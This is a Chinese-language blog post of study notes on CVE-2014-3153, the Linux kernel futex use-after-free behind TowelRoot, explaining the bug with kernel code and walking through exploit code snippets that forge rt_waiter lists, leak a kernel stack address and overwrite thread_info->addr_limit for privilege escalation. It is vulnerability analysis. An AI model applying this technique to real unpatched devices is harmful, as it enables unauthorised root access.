CVE-2014-3153笔记

CVE-2014-3153可以说是相当经典的漏洞,影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞,利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞,在当时(以及现在)能够Root(或Crash)绝大多数Android设备。由于工作的需要,收集了该漏洞的一些资料,并且对漏洞原理和利用方法进行了一些学习和分析。

参考资料

以下是收集的资料:

个人觉得NativeFlow的三篇文章详细的解释了各种细节以及利用方法,包括使用模拟器进行内核调试、问题代码补丁地址、Crash PoC以及图示。天融信的文章结合了NativeFlow的三篇文章,并加入了自己的见解和分析,也挺不错,就是排版稍差。pwntex是NativeFlow给出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit则是两个可以在Android上获取Root权限的PoC。

漏洞原理

以pwntex的requeue为例说明这个漏洞的过程。

1. main -> futex_lock_pi(&B);
此时会进入系统调用futex_lock_pi,执行的正常流程,B中的内容被设置为线程的Id。

2. thread -> futex_wait_requeue_pi(&A, &B);
这是在main创建的新线程中,进入系统调用futex_wait_requeue_pi后,初始化一个futex_q结构体和rt_mutex_waiter。然后调用futex_wait_queue_me在A上进行等待,此时futex_q会被加入到A对应的hb->chain上。

3. main -> futex_requeue_pi(&A, &B, A);
进入内核调用futex_requeue,接下来会走到futex_proxy_trylock_atomic,然后调用futex_lock_pi_atomic。在futex_lock_pi_atomic中,由于B已经被锁住,流程走到lookup_pi_state,lookup_pi_state内部会创建一个pi_state,并且挂入task->pi_state_list。这个是新线程的task。所以,此时线程2的task结构中的pi_state_list挂上了一个pi_state。然后返回到futex_requeue中,尝试把A上的futex_q转移到B上。在这个过程中,会取出futex_q中的rt_waiter,添加到之前创建的pi_state的pi_mutex链表上。

4. B = 0;
在用户态解锁。

5. futex_requeue_pi(&B, &B, B);
再次进入futex_requeue,此时futex_lock_pi_atomic会成功获取锁并返回,然后分支会走向 requeue_pi_wake_futex,尝试唤醒等待的线程。 requeue_pi_wake_futex的代码:

static inline
void requeue_pi_wake_futex(struct futex_q* q, union futex_key* key,
                           struct futex_hash_bucket* hb) {
  get_futex_key_refs(key);
  q->key = *key;
  __unqueue_futex(q);
  WARN_ON(!q->rt_waiter);
  q->rt_waiter = NULL;
  q->lock_ptr = &hb->lock;
  wake_up_state(q->task, TASK_NORMAL);
}

6. thread -> futex_wait_requeue_pi(&A, &B);
此时线程2被唤醒,代码如下:

/* Check if the requeue code acquired the second futex for us. */
if (!q.rt_waiter) {
  /*
   * Got the lock. We might not be the anticipated owner if we
   * did a lock-steal - fix up the PI-state in that case.
   */
  if (q.pi_state && (q.pi_state->owner != current)) {
    spin_lock(q.lock_ptr);
    ret = fixup_pi_state_owner(uaddr2, &q, current);
    spin_unlock(q.lock_ptr);
  }
} else {
  /*
   * We have been woken up by futex_unlock_pi(), a timeout, or a
   * signal.  futex_unlock_pi() will not destroy the lock_ptr nor
   * the pi_state.
   */
  WARN_ON(!q.pi_state);
  pi_mutex = &q.pi_state->pi_mutex;
  ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
  debug_rt_mutex_free_waiter(&rt_waiter);

由于requeue_pi_wake_futex把futex_q的rt_waiter清零了,所以流程会走第一个分支。导致了rt_waiter没有从q.pi_state->pi_mutex摘除。导致了UAF。

利用原理

结合libfutex_exploit,说利用的原理。利用requeue和relock导致的结果是在pi_state->pi_mutex残留了一个在线程2栈上的rt_waiter,使用sendmmsg之类的系统调用,可以控制内核栈上的内容。因此,用户态控制内核栈中rt_waiter的内容。通过设置线程的优先级以及futex_lock_pi,可以控制pi_state->pi_mutex链表。rt_waiter的结构如下:

struct list_head {
  struct list_head *next;
  struct list_head *prev;
};
struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};
struct rt_mutex;
struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};

所以,通过控制插入节点,即插入rt_waiter,用户态可以泄露出一个内核的rt_waiter地址。适当的构造链表,可以利用插入向任意内核地址写入一个rt_waiter的地址。NativeFlow的文章中的描述是“write an uncontrolled value to a controlled address”,十分贴切。

libfutex_exploit中的用法是,在用户态创建两个伪造的rt_waiter,并设置他们的优先级分别为13和13,然后将这两个rt_waiter连在一起:

static void
setup_waiter_params(struct rt_mutex_waiter *rt_waiters) {
  rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
  rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
  plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
  plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}

然后通过futex_lock_pi插入一个优先级位于9和和13的rt_waiter,企图将rt_waiter插入到伪造的链表中。如果插入成功,用户态可以拿到内核的栈地址(这一步只是探测):

setup_waiter_params(rt_waiters);
magicval = rt_waiters[0].list_entry.prio_list.next;
do_futex_lock_pi_with_priority(11);
if (rt_waiters[0].list_entry.prio_list.next == magicval) {
  printf("failed to exploit...\n");
  return false;
}

这个泄露了rt_waiter的线程对于提权至关重要。通过这个内核栈地址,可以计算出这个线程的thread_info的地址,方法是用栈地址和0xffffe000进行AND运算。而修改thread_info->addr_limit可以控制线程范围内存的范围,只要大于0xc0000000,就可以访问部分内核,修改为0xffffffff则是整个内核空间。

插入链表的最终实现如下:

static inline void __list_add(struct list_head* new,
                              struct list_head* prev,
                              struct list_head* next) {
  next->prev = new;
  new->next = next;
  new->prev = prev;
  prev->next = new; // write kernel.
}

libfutex_exploit利用的方法是,用户态构造rt_waiter链表,然后修改了第二个rt_waiter的prev修改为另外一个线程的thread_info->addr_limit。这样在内核执行__list_add时,会把prev指向的地址当作一个节点处理,会向这个地址写入一个rt_waiter的地址。也就是说,把某个线程的thread_info->addr_limit写入了一个内核栈地址,所以写入之后该线程能够访问一部分的内核空间。libfutex_exploit中对应的代码如下:

pid = do_futex_lock_pi_with_priority(11);
magicval = rt_waiters[0].list_entry.prio_list.next;
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, SIGNAL_HACK_KERNEL);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read);
setup_waiter_params(rt_waiters);
rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit;
do_futex_lock_pi_with_priority(12);

在有漏洞的机器上执行完上述代码,pid对应的线程就具备了访问内核地址的能力,可以进行提权和Patch。为了能够访问整个内存,有一种利用代码是不断的尝试去修改addr_limit,直到有一条线程能够修改其他线程的addr_limit,然后改成0xffffffff。libfutex_exploit没这样做的原因是,内核栈地址一般都比较大,修改完之后,线程已经能够范围内核的代码空间。libfutex_exploit被用在android_run_root_shell中,android_run_root_shell使用了统一的接口进行漏洞利用,均是企图修改ptmx_fops_fsync_address来执行内核代码进行提权,所以这样已经足够了。如果产品化的话,还有很多坑要踩,Android的碎片化实在太严重。

断断续续看了一段时间,直到现在才把大部分细节弄明白,十分佩服发现漏洞的Comex和能写出Exploit的牛人们。最后,UAF的利用,需要注意覆盖和利用的时机,在IE里也一样。

CVE-2014-3153笔记》有3个想法

  1. GeneBlue

    楼主你好,我最近也在研究这个问题,不知道这个漏洞你是如何调试的,调试起内核后,不太清楚该在什么地方下断,那几个主要的futex函数会被频繁调用,不太好判断断点的时机

    回复
    1. TheCjw 文章作者

      主要是静态。之前动态调试的方法:
      1. 用户态创建创建futex时,使用mmap分配一个固定的基址,然后使用固定偏移构造两个固定地址的futex;
      2. build模拟器,修改内核函数,硬编码上述futex地址,对这俩futex操作的时候触发断点。

      回复

TheCjw 发表评论 取消回复